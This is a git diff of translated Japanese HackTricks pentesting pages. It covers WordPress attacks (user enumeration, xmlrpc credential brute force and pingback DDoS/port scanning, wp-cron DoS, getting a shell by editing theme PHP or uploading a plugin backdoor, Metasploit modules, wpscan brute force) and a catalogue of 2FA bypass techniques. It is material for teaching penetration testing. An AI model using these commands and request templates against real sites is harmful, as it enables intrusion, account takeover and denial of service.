Cloud](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。 +- **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! +- [**公式PEASS&HackTricksスワッグ**](https://peass.creator-spring.com)を入手する +- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける +- **Discordグループ**に**参加**💬(https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter**🐦で**フォロー**する[**@carlospolopm**](https://twitter.com/hacktricks_live)**。** +- **HackTricks**(https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出して、あなたのハッキングトリックを共有してください。 -
+
\ [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks)を使用して、世界で最も高度なコミュニティツールによって強化された**ワークフローを簡単に構築**および**自動化**します。\ -今すぐアクセスを取得: +今すぐアクセスしてください: {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} ## 基本情報 **アップロードされた**ファイルはこちらに保存されます:`http://10.10.10.10/wp-content/uploads/2018/08/a.txt`\ -**テーマファイルは/wp-content/themes/にあります**、したがって、テーマの一部のPHPを変更してRCEを取得する場合はおそらくそのパスを使用します。例:**twentytwelveテーマ**を使用して、次の場所にある**404.php**ファイルにアクセスできます:[**/wp-content/themes/twentytwelve/404.php**](http://10.11.1.234/wp-content/themes/twentytwelve/404.php)\ +**テーマファイルは/wp-content/themes/にあります**、したがって、テーマの一部のphpを変更してRCEを取得する場合は、おそらくそのパスを使用するでしょう。例:**テーマtwentytwelve**を使用して、次のファイルにアクセスできます:[**/wp-content/themes/twentytwelve/404.php**](http://10.11.1.234/wp-content/themes/twentytwelve/404.php)\ **別の便利なURLは次のとおりです:** [**/wp-content/themes/default/404.php**](http://10.11.1.234/wp-content/themes/twentytwelve/404.php) **wp-config.php**にはデータベースのルートパスワードが記載されています。 @@ -34,57 +34,57 @@ HackTricks をサポートする他の方法: ### **主要なWordPressファイル** -* `index.php` -* `license.txt`には、インストールされているWordPressのバージョンなど、有用な情報が含まれています。 -* `wp-activate.php`は、新しいWordPressサイトを設定する際のメールアクティベーションプロセスに使用されます。 -* ログインフォルダ(非表示にするために名前が変更されている場合があります): - * `/wp-admin/login.php` - * `/wp-admin/wp-login.php` - * `/login.php` - * `/wp-login.php` -* `xmlrpc.php`は、WordPressの機能を表すファイルであり、HTTPを転送メカニズムとして、XMLをエンコードメカニズムとして使用してデータを転送できるようにします。この種の通信はWordPressの[REST API](https://developer.wordpress.org/rest-api/reference)によって置き換えられています。 -* `wp-content`フォルダは、プラグインやテーマが保存されるメインディレクトリです。 -* `wp-content/uploads/`は、プラットフォームにアップロードされたファイルが保存されるディレクトリです。 -* `wp-includes/`は、証明書、フォント、JavaScriptファイル、ウィジェットなどのコアファイルが保存されているディレクトリです。 -* `wp-sitemap.xml`は、WordPressバージョン5.5以降で、すべての公開投稿と公開クエリ可能な投稿タイプおよびタクソノミーを含むサイトマップXMLファイルを生成します。 +- `index.php` +- `license.txt`には、インストールされているWordPressのバージョンなど、有用な情報が含まれています。 +- `wp-activate.php`は、新しいWordPressサイトを設定する際のメールアクティベーションプロセスに使用されます。 +- ログインフォルダ(非表示にするために名前が変更されている場合があります): + - `/wp-admin/login.php` + - `/wp-admin/wp-login.php` + - `/login.php` + - `/wp-login.php` +- `xmlrpc.php`は、WordPressの機能を表すファイルであり、HTTPを転送メカニズムとして、XMLをエンコードメカニズムとして使用してデータを転送できるようにします。この種の通信はWordPressの[REST API](https://developer.wordpress.org/rest-api/reference)によって置き換えられています。 +- `wp-content`フォルダは、プラグインやテーマが保存されるメインディレクトリです。 +- `wp-content/uploads/`は、プラットフォームにアップロードされたファイルが保存されるディレクトリです。 +- `wp-includes/`は、証明書、フォント、JavaScriptファイル、ウィジェットなどのコアファイルが保存されているディレクトリです。 +- `wp-sitemap.xml`は、WordPressバージョン5.5以降で、すべての公開投稿と公開クエリ可能な投稿タイプおよびタクソノミーを含むサイトマップXMLファイルを生成します。 **ポストエクスプロイテーション** -* `wp-config.php`ファイルには、WordPressがデータベースに接続するために必要な情報が含まれています。データベース名、データベースホスト、ユーザー名とパスワード、認証キーとソルト、データベーステーブルの接頭辞などが含まれます。この構成ファイルは、トラブルシューティングに役立つDEBUGモードをアクティブにするためにも使用できます。 +- `wp-config.php`ファイルには、WordPressがデータベースに接続するために必要な情報が含まれています。データベース名、データベースホスト、ユーザー名とパスワード、認証キーとソルト、データベーステーブルの接頭辞などが含まれます。この構成ファイルは、トラブルシューティングに役立つDEBUGモードをアクティブにするためにも使用できます。 ### ユーザー権限 -* **管理者** -* **編集者**:自分自身および他の投稿を公開および管理します -* **著者**:自分自身の投稿を公開および管理します -* **寄稿者**:自分の投稿を書き、管理できますが、公開することはできません -* **購読者**:投稿を閲覧し、プロフィールを編集します +- **管理者** +- **編集者**:自分の投稿と他の投稿を公開および管理します +- **著者**:自分の投稿を公開および管理します +- **寄稿者**:自分の投稿を書き、管理できますが、公開はできません +- **購読者**:投稿を閲覧し、プロフィールを編集します ## **パッシブ列挙** ### **WordPressのバージョンを取得** -`/license.txt`または`/readme.html`ファイルを見つけることができるかどうかを確認します +ファイル`/license.txt`または`/readme.html`を見つけることができるかどうかを確認します -ページの**ソースコード**内(例:[https://wordpress.org/support/article/pages/](https://wordpress.org/support/article/pages/)からの例): +ページの**ソースコード**内(例:[https://wordpress.org/support/article/pages/](https://wordpress.org/support/article/pages/)): -* grep +- grep ```bash curl https://victim.com/ | grep 'content="WordPress' ``` * `meta name` -![](<../../.gitbook/assets/image (1108).png>) +![](<../../.gitbook/assets/image (1111).png>) * CSS link files -![](<../../.gitbook/assets/image (530).png>) +![](<../../.gitbook/assets/image (533).png>) * JavaScript files -![](<../../.gitbook/assets/image (521).png>) +![](<../../.gitbook/assets/image (524).png>) -### プラグインの取得 +### プラグインを取得 {% code overflow="wrap" %} ```bash @@ -107,10 +107,10 @@ curl -H 'Cache-Control: no-cache, no-store' -L -ik -s https://wordpress.org/supp ``` {% endcode %} -
+
\ -[**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks)を使用して、世界で最も先進的なコミュニティツールによって強化された**ワークフローを簡単に構築**および**自動化**します。\ +[**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks)を使用して、世界で最も高度なコミュニティツールによって強化された**ワークフローを簡単に構築**および**自動化**します。\ 今すぐアクセスしてください: {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} @@ -129,13 +129,11 @@ WordPressサイトから有効なユーザーを取得するには、ユーザ ``` curl -s -I -X GET http://blog.example.com/?author=1 ``` -```html -

もしレスポンスが **200** または **30X** であれば、そのIDは **有効** であることを意味します。もしレスポンスが **400** であれば、そのIDは **無効** です。

+**200**または**30X**の応答の場合、そのIDは**有効**であることを意味します。応答が**400**の場合、IDは**無効**です。 -

wp-json

+**wp-json** -

また、次のようにクエリを使用してユーザーに関する情報を取得することもできます:

-``` +また、次のようにユーザーに関する情報を取得することもできます。 ``` curl http://blog.example.com/wp-json/wp/v2/users ``` @@ -155,7 +153,7 @@ Also note that **/wp-json/wp/v2/pages** could leak IP addresses. `xml-rpc.php` がアクティブな場合、資格情報の総当たり攻撃を実行したり、他のリソースにDoS攻撃を行ったりできます(たとえば、[これ](https://github.com/relarizky/wpxploit)を使用してこのプロセスを自動化できます)。 -アクティブかどうかを確認するには、_**/xmlrpc.php**_ にアクセスして、このリクエストを送信してください: +アクティブかどうかを確認するには、_**/xmlrpc.php**_ にアクセスし、このリクエストを送信してください: **Check** ```markup @@ -168,7 +166,7 @@ Also note that **/wp-json/wp/v2/pages** could leak IP addresses. **資格情報のブルートフォース** -**`wp.getUserBlogs`**、**`wp.getCategories`**、または**`metaWeblog.getUsersBlogs`**は、資格情報のブルートフォースに使用できるいくつかのメソッドです。これらのいずれかを見つけることができれば、次のようなものを送信できます: +**`wp.getUserBlogs`**、**`wp.getCategories`**、または**`metaWeblog.getUsersBlogs`**は、資格情報をブルートフォースするために使用できるいくつかのメソッドです。これらのいずれかを見つけることができれば、次のようなものを送信できます: ```markup wp.getUsersBlogs @@ -178,13 +176,13 @@ Also note that **/wp-json/wp/v2/pages** could leak IP addresses. ``` -The message _"Incorrect username or password"_ inside a 200 code response should appear if the credentials aren't valid. +200コードのレスポンス内にあるメッセージ_"Incorrect username or password"_は、資格情報が無効な場合に表示されるべきです。 ![](<../../.gitbook/assets/image (107) (2) (2) (2) (2) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (2) (4) (1).png>) -![](<../../.gitbook/assets/image (718).png>) +![](<../../.gitbook/assets/image (721).png>) -Using the correct credentials you can upload a file. In the response the path will appears ([https://gist.github.com/georgestephanis/5681982](https://gist.github.com/georgestephanis/5681982)) +正しい資格情報を使用すると、ファイルをアップロードすることができます。レスポンスにはパスが表示されます ([https://gist.github.com/georgestephanis/5681982](https://gist.github.com/georgestephanis/5681982)) ```markup @@ -216,7 +214,7 @@ Using the correct credentials you can upload a file. In the response the path wi ``` また、**`system.multicall`** を使用して複数の資格情報を同じリクエストで試すことで、資格情報を総当たりする**より速い方法**があります: -
+
**2段階認証のバイパス** @@ -224,8 +222,8 @@ Using the correct credentials you can upload a file. In the response the path wi **DDoSまたはポートスキャン** -リスト内に**_pingback.ping_** メソッドを見つけることができれば、WordPressに任意のホスト/ポートにリクエストを送信させることができます。\ -これを使用して、**数千**のWordPress **サイト**に1つの**場所**に**アクセス**させることができます(その場所で**DDoS**が発生します)または、WordPressに内部のいくつかのネットワークを**スキャン**させることができます(任意のポートを指定できます)。 +リスト内に**_pingback.ping_**メソッドを見つけることができれば、WordPressに任意のホスト/ポートにリクエストを送信させることができます。\ +これを使用して、**数千**のWordPress **サイト**に1つの**場所**に**アクセス**させる(その場所で**DDoS**が発生する)か、WordPressに内部のいくつかの**ネットワーク**を**スキャン**させることができます(任意のポートを指定できます)。 ```markup pingback.ping @@ -237,7 +235,7 @@ Using the correct credentials you can upload a file. In the response the path wi ``` ![](../../.gitbook/assets/1_JaUYIZF8ZjDGGB7ocsZC-g.png) -**faultCode** が値 **0** (17) よりも**大きい** 場合、ポートが開いていることを意味します。 +**faultCode** の値が **0** (17) よりも**大きい**場合、ポートが開いていることを意味します。 **`system.multicall`** の使用方法を見て、このメソッドを悪用して DDoS を引き起こす方法を学んでください。 ```markup @@ -249,12 +247,12 @@ Using the correct credentials you can upload a file. In the response the path wi ``` -![](<../../.gitbook/assets/image (107).png>) +![](<../../.gitbook/assets/image (110).png>) ### wp-cron.php DoS このファイルは通常、Wordpressサイトのルートの下に存在します: **`/wp-cron.php`**\ -このファイルに**アクセス**すると、**重い** MySQL **クエリ**が実行されるため、**攻撃者**が**DoS**を**引き起こす**ために使用できます。\ +このファイルに**アクセス**すると、**重い** MySQL **クエリ**が実行されるため、**攻撃者**が**DoS**を引き起こすために使用できます。\ また、デフォルトでは、`wp-cron.php`はすべてのページロード(クライアントが任意のWordpressページをリクエストするたび)で呼び出されるため、高トラフィックのサイトでは問題を引き起こす可能性があります(DoS)。 Wp-Cronを無効にして、ホスト内で必要なアクションを定期的に実行する実際のcronjobを作成することが推奨されています(問題を引き起こさずに)。 @@ -265,13 +263,13 @@ _https://worpress-site.com/wp-json/oembed/1.0/proxy?url=ybdk28vjsa9yirr7og2lukt1 これは機能しない場合の応答です: -![](<../../.gitbook/assets/image (362).png>) +![](<../../.gitbook/assets/image (365).png>) ### SSRF {% embed url="https://github.com/t0gu/quickpress/blob/master/core/requests.go" %} -このツールは、**methodName: pingback.ping**をチェックし、パス**/wp-json/oembed/1.0/proxy**が存在するかどうかを確認し、存在する場合はそれらを悪用しようとします。 +このツールは、**methodName: pingback.ping**とパス**/wp-json/oembed/1.0/proxy**が存在するかどうかをチェックし、存在する場合はそれらを悪用しようとします。 ### Automatic Tools ```bash @@ -279,11 +277,11 @@ cmsmap -s http://www.domain.com -t 2 -a "Mozilla/5.0 (Windows NT 10.0; Win64; x6 wpscan --rua -e ap,at,tt,cb,dbe,u,m --url http://www.domain.com [--plugins-detection aggressive] --api-token --passwords /usr/share/wordlists/external/SecLists/Passwords/probable-v2-top1575.txt #Brute force found users and search for vulnerabilities using a free API token (up 50 searchs) #You can try to bruteforce the admin user using wpscan with "-U admin" ``` -
+
\ [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks)を使用して、世界で最も高度なコミュニティツールによって強化された**ワークフローを簡単に構築**および**自動化**します。\ -今すぐアクセスを取得: +今すぐアクセスしてください: {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} @@ -298,17 +296,17 @@ return new WP_Error( **使用されているテーマのphpを変更(管理者の資格情報が必要)** -外観 → テーマエディタ → 404テンプレート(右側) +外観 → テーマの編集 → 404テンプレート(右側) phpシェルの内容を変更します: -![](<../../.gitbook/assets/image (381).png>) +![](<../../.gitbook/assets/image (384).png>) 更新されたページにアクセスする方法をインターネットで検索します。この場合、ここにアクセスする必要があります:[http://10.11.1.234/wp-content/themes/twentytwelve/404.php](http://10.11.1.234/wp-content/themes/twentytwelve/404.php) ### MSF -次のように使用できます: +以下を使用できます: ``` use exploit/unix/webapp/wp_admin_shell_upload ``` @@ -321,41 +319,41 @@ to get a session. プラグインとして.phpファイルをアップロードすることが可能かもしれません。\ たとえば、次のようにphpバックドアを作成します: -![](<../../.gitbook/assets/image (180).png>) +![](<../../.gitbook/assets/image (183).png>) 次に新しいプラグインを追加します: -![](<../../.gitbook/assets/image (719).png>) +![](<../../.gitbook/assets/image (722).png>) -プラグインをアップロードして「今すぐインストール」をクリックします: +プラグインをアップロードして今すぐインストールをクリックします: -![](<../../.gitbook/assets/image (246).png>) +![](<../../.gitbook/assets/image (249).png>) -「続行」をクリックします: +「Procced」をクリックします: -![](<../../.gitbook/assets/image (67).png>) +![](<../../.gitbook/assets/image (70).png>) -おそらくこれは見た目では何も起こりませんが、メディアに移動するとアップロードしたシェルが表示されます: +おそらくこれは見た目では何も起こりませんが、メディアに移動するとアップロードされたシェルが表示されます: -![](<../../.gitbook/assets/image (459).png>) +![](<../../.gitbook/assets/image (462).png>) アクセスして、逆シェルを実行するためのURLが表示されます: -![](<../../.gitbook/assets/image (1003).png>) +![](<../../.gitbook/assets/image (1006).png>) ### 悪意のあるプラグインのアップロードと有効化 -この方法は、脆弱性があると知られている悪意のあるプラグインをインストールし、Webシェルを取得することを含みます。このプロセスはWordPressダッシュボードを介して次のように行われます: +この方法は、脆弱性があると知られている悪意のあるプラグインをインストールし、Webシェルを取得することができる可能性があります。このプロセスはWordPressダッシュボードを介して次のように行われます: -1. **プラグインの取得**: プラグインは、[**ここ**](https://www.exploit-db.com/exploits/36374)のようなExploit DBのようなソースから取得されます。 +1. **プラグインの取得**: プラグインは、[**ここ**](https://www.exploit-db.com/exploits/36374)のようなExploit DBなどのソースから取得されます。 2. **プラグインのインストール**: -* WordPressダッシュボードに移動し、`ダッシュボード > プラグイン > プラグインをアップロード`に移動します。 +* WordPressダッシュボードに移動し、`Dashboard > Plugins > Upload Plugin`に移動します。 * ダウンロードしたプラグインのzipファイルをアップロードします。 3. **プラグインの有効化**: プラグインが正常にインストールされると、ダッシュボードを介して有効化する必要があります。 4. **悪用**: -* プラグイン「reflex-gallery」がインストールおよび有効化されている場合、脆弱性があると知られているため悪用できます。 -* Metasploitフレームワークはこの脆弱性のためのエクスプロイトを提供します。適切なモジュールをロードし、特定のコマンドを実行することで、meterpreterセッションを確立し、サイトへの不正アクセスを許可します。 -* これはWordPressサイトを悪用するための多くの方法のうちの1つであることに注意してください。 +* プラグイン「reflex-gallery」がインストールおよび有効化されている場合、脆弱性があると知られているため悪用される可能性があります。 +* Metasploitフレームワークは、この脆弱性のためのエクスプロイトを提供します。適切なモジュールを読み込み、特定のコマンドを実行することで、meterpreterセッションを確立し、サイトへの不正アクセスを許可します。 +* WordPressサイトを悪用するための多くの方法のうちの1つであることに注意してください。 コンテンツには、WordPressダッシュボードでプラグインをインストールおよび有効化する手順を示すビジュアルエイドが含まれています。ただし、このような脆弱性を悪用することは、適切な許可なしには違法で倫理的に問題があります。この情報は責任を持って使用し、明示的な許可を得たペネトレーションテストなどの合法的なコンテキストでのみ使用すべきです。 @@ -399,7 +397,7 @@ add_filter( 'auto_update_theme', '__return_true' ); * ブルートフォース攻撃を防ぐためにログイン試行回数を**制限** * **`wp-admin.php`**ファイルの名前を変更し、内部からのアクセスまたは特定のIPアドレスからのみアクセスを許可します。 -
+
\ [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks)を使用して、世界で最も高度なコミュニティツールによって強化された**ワークフローを簡単に構築**および**自動化**します。\ @@ -414,9 +412,9 @@ add_filter( 'auto_update_theme', '__return_true' ); HackTricksをサポートする他の方法: * **HackTricksで企業を宣伝**したい場合や**HackTricksをPDFでダウンロード**したい場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! -* [**公式PEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を入手 -* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFT**](https://opensea.io/collection/the-peass-family)コレクションを見つけます +* [**公式PEASS&HackTricksグッズ**](https://peass.creator-spring.com)を入手 +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[NFTs](https://opensea.io/collection/the-peass-family)のコレクションを見つけます * 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**をフォロー**してください。 -* **HackTricks**と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のgithubリポジトリにPRを提出して、あなたのハッキングトリックを共有してください。 +* **HackTricks**と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出して、あなたのハッキングトリックを共有してください。 diff --git a/pentesting-web/2fa-bypass.md b/pentesting-web/2fa-bypass.md index 0e5c350ad..e55cd3c0b 100644 --- a/pentesting-web/2fa-bypass.md +++ b/pentesting-web/2fa-bypass.md @@ -2,65 +2,65 @@
-htARTE(HackTricks AWS Red Team Expert) でAWSハッキングをゼロからヒーローまで学ぶ +htARTE(HackTricks AWS Red Team Expert) を通じてゼロからヒーローまでAWSハッキングを学ぶ HackTricks をサポートする他の方法: -* **HackTricks で企業を宣伝したい** または **HackTricks をPDFでダウンロードしたい** 場合は [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop) をチェック! -* [**公式PEASS&HackTricksグッズ**](https://peass.creator-spring.com)を入手 -* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な [**NFTs**](https://opensea.io/collection/the-peass-family)を入手 -* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f) または [**telegramグループ**](https://t.me/peass) に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)** をフォローする。** -* **ハッキングトリックを共有するために** [**HackTricks**](https://github.com/carlospolop/hacktricks) と [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) のGitHubリポジトリにPRを提出する。 +* **HackTricks で企業を宣伝したい**または**HackTricks をPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! +* [**公式PEASS&HackTricksスワッグ**](https://peass.creator-spring.com)を入手する +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見る +* **💬 [Discord グループ](https://discord.gg/hRep4RUj7f)** に参加するか、[**telegram グループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 で **@carlospolopm** をフォローする [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** +* **ハッキングトリックを共有するために、** [**HackTricks**](https://github.com/carlospolop/hacktricks) と [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) の GitHub リポジトリに PR を提出する
### [WhiteIntel](https://whiteintel.io) -
+
-[**WhiteIntel**](https://whiteintel.io) は、**ダークウェブ**を活用した検索エンジンで、**盗難マルウェア**による企業や顧客の**侵害**をチェックするための**無料**機能を提供しています。 +[**WhiteIntel**](https://whiteintel.io) は、**ダークウェブ**を活用した検索エンジンで、企業やその顧客が**スティーラーマルウェア**によって**侵害**されていないかをチェックする**無料**の機能を提供しています。 -WhiteIntelの主な目標は、情報窃取マルウェアによるアカウント乗っ取りやランサムウェア攻撃に対抗することです。 +WhiteIntel の主な目標は、情報窃取マルウェアによるアカウント乗っ取りやランサムウェア攻撃に対抗することです。 -彼らのウェブサイトをチェックし、無料でエンジンを試すことができます: +彼らのウェブサイトをチェックして、無料でエンジンを試すことができます: {% embed url="https://whiteintel.io" %} ---- +*** ## **強化された二要素認証バイパステクニック** ### **直接エンドポイントアクセス** -2FAをバイパスするには、パスを知っていることが重要であり、その後のエンドポイントに直接アクセスします。失敗した場合は、**Referrerヘッダー**を変更して、2FA確認ページからのナビゲーションを模倣します。 +2FA をバイパスするには、パスを知っていることが重要です。失敗した場合は、**Referrer ヘッダー**を変更して、2FA 検証ページからのナビゲーションを模倣します。 -### **トークン再利用** +### **トークンの再利用** -アカウント内で以前に使用したトークンを再利用することは効果的です。 +アカウント内で以前に使用したトークンを認証に再利用することが効果的です。 ### **未使用トークンの利用** -自分のアカウントからトークンを抽出して、別のアカウントで2FAをバイパスしようとすることができます。 +自分のアカウントからトークンを抽出して、別のアカウントで2FA をバイパスしようとすることができます。 ### **トークンの露出** -Webアプリケーションからのレスポンスでトークンが公開されていないか調査します。 +Web アプリケーションからのレスポンスでトークンが公開されていないか調査します。 ### **検証リンクの悪用** -アカウント作成時に送信された**電子メール検証リンク**を使用すると、2FAなしでプロファイルにアクセスできる場合があります。詳細は[こちら](https://srahulceh.medium.com/behind-the-scenes-of-a-security-bug-the-perils-of-2fa-cookie-generation-496d9519771b)。 +アカウント作成時に送信された**電子メール検証リンク**を使用すると、2FA をバイパスしてプロファイルにアクセスできます。詳細は[こちら](https://srahulceh.medium.com/behind-the-scenes-of-a-security-bug-the-perils-of-2fa-cookie-generation-496d9519771b)。 ### **セッション操作** -ユーザーと被害者のアカウントのセッションを開始し、ユーザーのアカウントの2FAを完了せずに次のステップにアクセスしようとすることで、バックエンドセッション管理の制限を突破しようとします。 +ユーザーと被害者のアカウントのセッションを開始し、ユーザーのアカウントの2FA を完了せずに次のステップにアクセスしようとすることで、バックエンドセッション管理の制限を突破しようとします。 ### **パスワードリセットメカニズム** -パスワードリセット機能を調査し、リセット後にユーザーをアプリケーションにログインさせる潜在的な能力を確認することが重要です。新しくリセットされた資格情報でログインすることで、2FAをバイパスできるかもしれません。 +パスワードリセット機能を調査し、リセット後にユーザーをアプリケーションにログインさせる潜在的な能力を確認することが重要です。新しくリセットされた資格情報でログインすることで、2FA をバイパスできるかもしれません。 -### **OAuthプラットフォームの侵害** +### **OAuth プラットフォームの侵害** -信頼された**OAuth**プラットフォーム(例:Google、Facebook)でユーザーアカウントを侵害することで、2FAをバイパスする経路が提供される場合があります。 +信頼された**OAuth**プラットフォーム(例:Google、Facebook)でユーザーアカウントを侵害することで、2FA をバイパスする経路が提供される可能性があります。 ### **ブルートフォース攻撃** @@ -70,11 +70,11 @@ Webアプリケーションからのレスポンスでトークンが公開さ #### **遅いブルートフォース** -全体的なレート制限が存在する場合、遅いブルートフォース攻撃が有効です。 +全体的なレート制限が存在しない場合、遅いブルートフォース攻撃が有効です。 -#### **コード再送信リミットリセット** +#### **コード再送信リミットのリセット** -コードを再送信すると、レート制限がリセットされ、継続的なブルートフォース試行が可能になります。 +コードを再送信すると、レート制限がリセットされ、継続的なブルートフォース試行が容易になります。 #### **クライアントサイドのレート制限回避** @@ -84,61 +84,61 @@ Webアプリケーションからのレスポンスでトークンが公開さ ログイン試行を保護するレート制限があるかもしれませんが、内部アカウントアクションにはレート制限がない場合があります。 -#### **SMSコード再送信のコスト** +#### **SMS コード再送信のコスト** -SMS経由でコードを過剰に再送信すると、企業にコストがかかりますが、2FAをバイパスすることはできません。 +SMS 経由でコードを過剰に再送信すると、企業にコストがかかりますが、2FA をバイパスすることはできません。 -#### **無限OTP再生成** +#### **無限 OTP 再生成** -簡単なコードを再試行することで、無限のOTP生成が可能になり、少数のコードを繰り返し試行することでブルートフォースが可能になります。 +簡単なコードを再試行することで、無限の OTP 生成が可能になり、少数のコードを再試行することでブルートフォースが可能になります。 ### **レースコンディションの悪用** -2FAバイパスのためのレースコンディションの悪用は、特定の文書に見つかるかもしれません。 +2FA バイパスのためのレースコンディションの悪用は、特定の文書に見つかります。 -### **CSRF/Clickjackingの脆弱性** +### **CSRF/Clickjacking 脆弱性** -2FAを無効にするためにCSRFまたはClickjackingの脆弱性を探索することは、有効な戦略です。 +2FA を無効にするために CSRF または Clickjacking 脆弱性を探索することは、有効な戦略です。 -### **"Remember Me"機能の悪用** +### **"Remember Me" 機能の悪用** -#### **予測可能なCookie値** +#### **予測可能な Cookie 値** -"Remember me"クッキーの値を推測することで制限をバイパスできる場合があります。 +"remember me" クッキーの値を推測することで制限をバイパスできます。 -#### **IPアドレスなりすまし** +#### **IP アドレスなりすまし** -**X-Forwarded-For**ヘッダーを介して被害者のIPアドレスをなりすますことで制限をバイパスできます。 +**X-Forwarded-For** ヘッダーを介して被害者の IP アドレスをなりすますことで制限をバイパスできます。 ### **古いバージョンの利用** #### **サブドメイン** -古い2FAサポートがないバージョンを使用するか、脆弱な2FA実装が含まれている可能性があるサブドメインをテストすることができます。 +古い 2FA サポートがないバージョンを使用するか、脆弱な 2FA 実装が含まれている可能性があるサブドメインをテストします。 -#### **APIエンドポイント** +#### **API エンドポイント** -/v\*ディレクトリパスで示される古いAPIバージョンは、2FAバイパス手法に脆弱である可能性があります。 +/v\* ディレクトリパスで示される古い API バージョンは、2FA バイパス手法に脆弱である可能性があります。 ### **以前のセッションの処理** -2FAの有効化時に既存のセッションを終了することで、侵害されたセッションからの未承認アクセスを防ぎます。 +2FA の有効化時に既存のセッションを終了することで、侵害されたセッションからの未承認アクセスからアカウントを保護します。 ### **バックアップコードのアクセス制御の欠陥** -2FAの有効化時にバックアップコードを即座に生成し、潜在的な不正な取得を行うことは、特にCORSの誤構成/XSSの脆弱性がある場合にリスクを引き起こします。 +2FA の有効化時にバックアップコードを即座に生成し、潜在的な不正な取得を行うことは、CORS の誤構成/XSS 脆弱性など、リスクをもたらします。 -### **2FAページでの情報開示** +### **2FA ページでの情報開示** -2FA確認ページでの機密情報開示(電話番号など)は懸念事項です。 +2FA 検証ページでの機密情報開示(電話番号など)は懸念事項です。 -### **パスワードリセットによる2FAの無効化** +### **パスワードリセットによる 2FA の無効化** -アカウント作成、2FAの有効化、パスワードリセット、および2FA要件なしでの後続ログインを実証するプロセスは、潜在的なバイパス手法を示しています。 +アカウント作成、2FA の有効化、パスワードリセット、および 2FA 要件なしでの後続ログインを実証するプロセスは、潜在的なバイパス手法を示しています。 ### **デコイリクエスト** -デコイリクエストを利用してブルートフォース試行を曖昧にしたり、レート制限メカニズムを誤誘導したりすることで、バイパス戦略に別のレイヤーを追加できます。このようなリクエストを作成するには、アプリケーションのセキュリティ対策とレート制限の動作について繊細な理解が必要です。 +デコイリクエストを利用してブルートフォース試行を曖昧にしたり、レート制限メカニズムを誤誘導したりすることで、バイパス戦略に別のレイヤーを追加します。このようなリクエストを作成するには、アプリケーションのセキュリティ対策とレート制限の動作に対する微妙な理解が必要です。 ## 参考文献 @@ -147,12 +147,14 @@ SMS経由でコードを過剰に再送信すると、企業にコストがか ### [WhiteIntel](https://whiteintel.io) -
+
-[**WhiteIntel**](https://whiteintel.io) は、**ダークウェブ**を活用した検索エンジンで、**盗難マルウェア**による企業や顧客の**侵害**をチェックするための**無料**機能を提供しています。 +[**WhiteIntel**](https://whiteintel.io) は、**ダークウェブ**を活用した検索エンジンで、企業やその顧客が**スティーラーマルウェア**によって**侵害**されていないかをチェックする**無料**の機能を提供しています。 -WhiteIntelの主な目標は、情報窃取マルウェアによるアカウント乗っ取りやランサムウェア攻撃に対抗することです。 +WhiteIntel の主な目標は、情報窃取マルウェアによるアカウント乗っ取りやランサムウェア攻撃に対抗することです。 -彼らのウェブサイトをチェックし、無料でエンジンを試すことができます: +彼らのウェブサイトをチェックして、無料でエンジンを試すことができます: {% embed url="https://whiteintel.io" %} + +P diff --git a/pentesting-web/browser-extension-pentesting-methodology/README.md b/pentesting-web/browser-extension-pentesting-methodology/README.md index 42d064ec4..f114042ee 100644 --- a/pentesting-web/browser-extension-pentesting-methodology/README.md +++ b/pentesting-web/browser-extension-pentesting-methodology/README.md @@ -1,4 +1,4 @@ -# ブラウザ拡張機能のペンテスト方法論 +# ブラウザ拡張機能の侵入テスト方法論
